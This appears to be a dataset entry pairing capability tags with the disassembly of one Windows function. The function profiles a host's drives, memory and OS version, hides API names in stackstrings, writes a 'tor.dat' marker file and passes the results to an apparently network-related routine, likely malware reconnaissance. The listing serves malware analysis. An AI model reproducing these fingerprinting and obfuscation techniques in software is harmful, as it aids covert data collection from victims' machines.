Function at 0x10019c4e
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get disk information
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
push 0x8a0
mov eax, 0x10041d17
call fcn.10039ffc
mov ebx, ecx
mov dword [ebp - 0x8ac], ebx
xor eax, eax
lea edx, [ebp - 0x3d8]
push ecx
mov byte [ebp - 0x6ae], al
call fcn.100166b2
xor eax, eax
pop ecx
mov dword [ebp - 0x4e0], eax
call fcn.10001f7b
push eax
lea ecx, [ebp - 0x4e0]
call fcn.1000bbef
xor eax, eax
inc eax
mov dword [ebp - 4], eax
lea edx, [ebp - 0x4e4]
push 0x32
pop edi
push edx
lea ecx, [ebx + 0x2c]
mov dword [ebp - 0x4dc], edi
mov eax, dword [ecx]
lea edx, [ebp - 0x4dc]
push edx
lea edx, [ebp - 0x9c]
push edx
call dword [eax + 0x38]
mov esi, eax
lea ecx, [ebp - 0x4e0]
lea eax, [ebp - 0x9c]
push eax
call fcn.1000b360
test esi, esi
mov esi, dword [ebp - 0x4e0]
je 0x10019cec
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x504], eax
jmp 0x10019cf3
or dword [ebp - 0x504], 0xffffffff
push 4
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x6e4]
push eax
call fcn.10021ce0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push edi
push eax
lea eax, [ebp - 0x6e0]
push eax
call fcn.10021ce0
add esp, 0xc
xor ecx, ecx
mov edi, ecx
mov ebx, ecx
lea eax, [ebx + 0x42]
mov word [ebp - 0x67], 0x5c3a
mov byte [ebp - 0x68], al
lea eax, [ebp - 0x68]
push eax
mov byte [ebp - 0x65], cl
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x10019d7a
lea eax, [ebp - 0x518]
push eax
lea eax, [ebp - 0x4f8]
push eax
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExA]
mov ecx, dword [ebp - 0x4f8]
mov eax, dword [ebp - 0x4f4]
shrd ecx, eax, 0x14
shr eax, 0x14
add edi, ecx
inc ebx
push 0
pop ecx
cmp ebx, 0x1a
jl 0x10019d28
lea eax, [ebp - 0x558]
mov dword [ebp - 0x558], 0x40
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x550]
mov eax, dword [ebp - 0x54c]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x6a4], ecx
call fcn.100163d8
mov dword [ebp - 0x6ec], eax
lea eax, [ebp - 0x57c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6a0], edi
call fcn.100165bd
xor ebx, ebx
test eax, eax
push 1
pop eax
movzx ecx, bl
cmovne ecx, eax
mov eax, dword [ebp + 8]
mov byte [ebp - 0x6ae], cl
mov dword [ebp - 0x6ac], eax
call fcn.1001416f
mov dword [ebp - 0x6a8], eax
call fcn.1001402b
push 0x50
mov dword [ebp - 0x628], eax
lea eax, [ebp - 0x5d4]
push ebx
push eax
call fcn.10022b50
add esp, 0xc
lea eax, [ebp - 0x5d4]
push eax
call fcn.10018e1b
push ebx
push 0x23
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x24], 0x726f745c
push eax
push ebx
mov dword [ebp - 0x20], 0x7461642e
mov byte [ebp - 0x1c], bl
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0x58]
call fcn.100014de
mov byte [ebp - 4], 2
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
push 0x100504c0
cmovae eax, dword [ebp - 0x58]
push eax
call fcn.100272fb
pop ecx
pop ecx
test eax, eax
je 0x10019ea8
push eax
call fcn.100277c1
pop ecx
xor ecx, ecx
inc ecx
mov al, cl
jmp 0x10019ead
xor ecx, ecx
mov al, bl
inc ecx
test al, al
sete bl
mov byte [ebp - 4], cl
xor eax, eax
push eax
push ecx
lea ecx, [ebp - 0x58]
call fcn.1000176d
test bl, bl
je 0x10019f9a
xor ebx, ebx
push ebx
call fcn.100267ef
mov dword [ebp - 0x4f0], eax
lea eax, [ebp - 0x4f0]
pop ecx
push eax
mov dword [ebp - 0x4ec], edx
call fcn.100298c5
pop ecx
mov edx, eax
mov byte [ebp - 0x8c], bl
push 7
pop ecx
xor eax, eax
movdqa xmm0, xmmword [0x10050e20]
lea edi, [ebp - 0x8b]
mov dword [ebp - 0x4c], 0x3a643230
rep stosd dword es:[edi], eax
movdqu xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0x64323025
mov dword [ebp - 0x44], 0x3230253a
stosw word es:[edi], ax
mov word [ebp - 0x40], 0x64
mov word [ebp - 0x4dc], 0x2b77
mov byte [ebp - 0x4da], bl
stosb byte es:[edi], al
push dword [edx]
mov eax, dword [edx + 0x10]
push dword [edx + 4]
inc eax
push dword [edx + 8]
push dword [edx + 0xc]
push eax
mov eax, dword [edx + 0x14]
add eax, 0x76c
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x8c]
push 0x20
push eax
call fcn.100256e8
add esp, 0x24
lea eax, [ebp - 0x4dc]
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.100272fb
pop ecx
pop ecx
mov edi, eax
lea ecx, [ebp - 0x8c]
push edi
call fcn.1001637f
push eax
call fcn.10029341
push edi
call fcn.100277c1
add esp, 0xc
lea eax, [ebp - 0x1d8]
push 0x100504c0
push eax
call fcn.100272fb
mov edi, eax
lea eax, [ebp - 0x2d8]
push edi
push 0xff
push eax
call fcn.10027510
add esp, 0x14
lea ecx, [ebp - 0x2d8]
call fcn.10016275
push eax
lea eax, [ebp - 0x66a]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call fcn.100277c1
add esp, 0xc
mov ecx, 0x1005a91e
call fcn.10016275
push eax
lea eax, [ebp - 0x64a]
push eax
call fcn.10028900
add esp, 4
mov dword [ebp - 0x3c], 0x61666544
lea edx, [ebp - 0x4d8]
mov dword [ebp - 0x38], 0x746c75
call fcn.100164fe
pop ecx
test eax, eax
jne 0x1001a028
mov ecx, 0x1005a8ec
call fcn.10016275
jmp 0x1001a02e
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x69c]
push eax
call fcn.10028900
pop ecx
pop ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x788], 0x9c
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x8a8], 0x11c
push eax
mov dword [ebp - 0x34], 0x476c7452
mov dword [ebp - 0x30], 0x65567465
mov dword [ebp - 0x2c], 0x6f697372
mov word [ebp - 0x28], 0x6e
mov dword [ebp - 0x18], 0x6c64746e
mov word [ebp - 0x14], 0x6c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x8a8]
push ecx
call eax
mov eax, dword [ebp - 0x8a0]
sub esp, 0x10
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp - 0x780], eax
add ecx, 8
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x77c], eax
mov al, byte [ebp - 0x78e]
mov byte [ebp - 0x6ee], al
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x778], eax
lea eax, [ebp - 0x788]
push 0x204
push eax
push 0x94e
call fcn.10015c31
neg eax
sbb edi, edi
neg edi
or dword [ebp - 4], 0xffffffff
lea ecx, [esi - 0x10]
call fcn.10001f5f
mov eax, edi
call fcn.10039fab
ret 4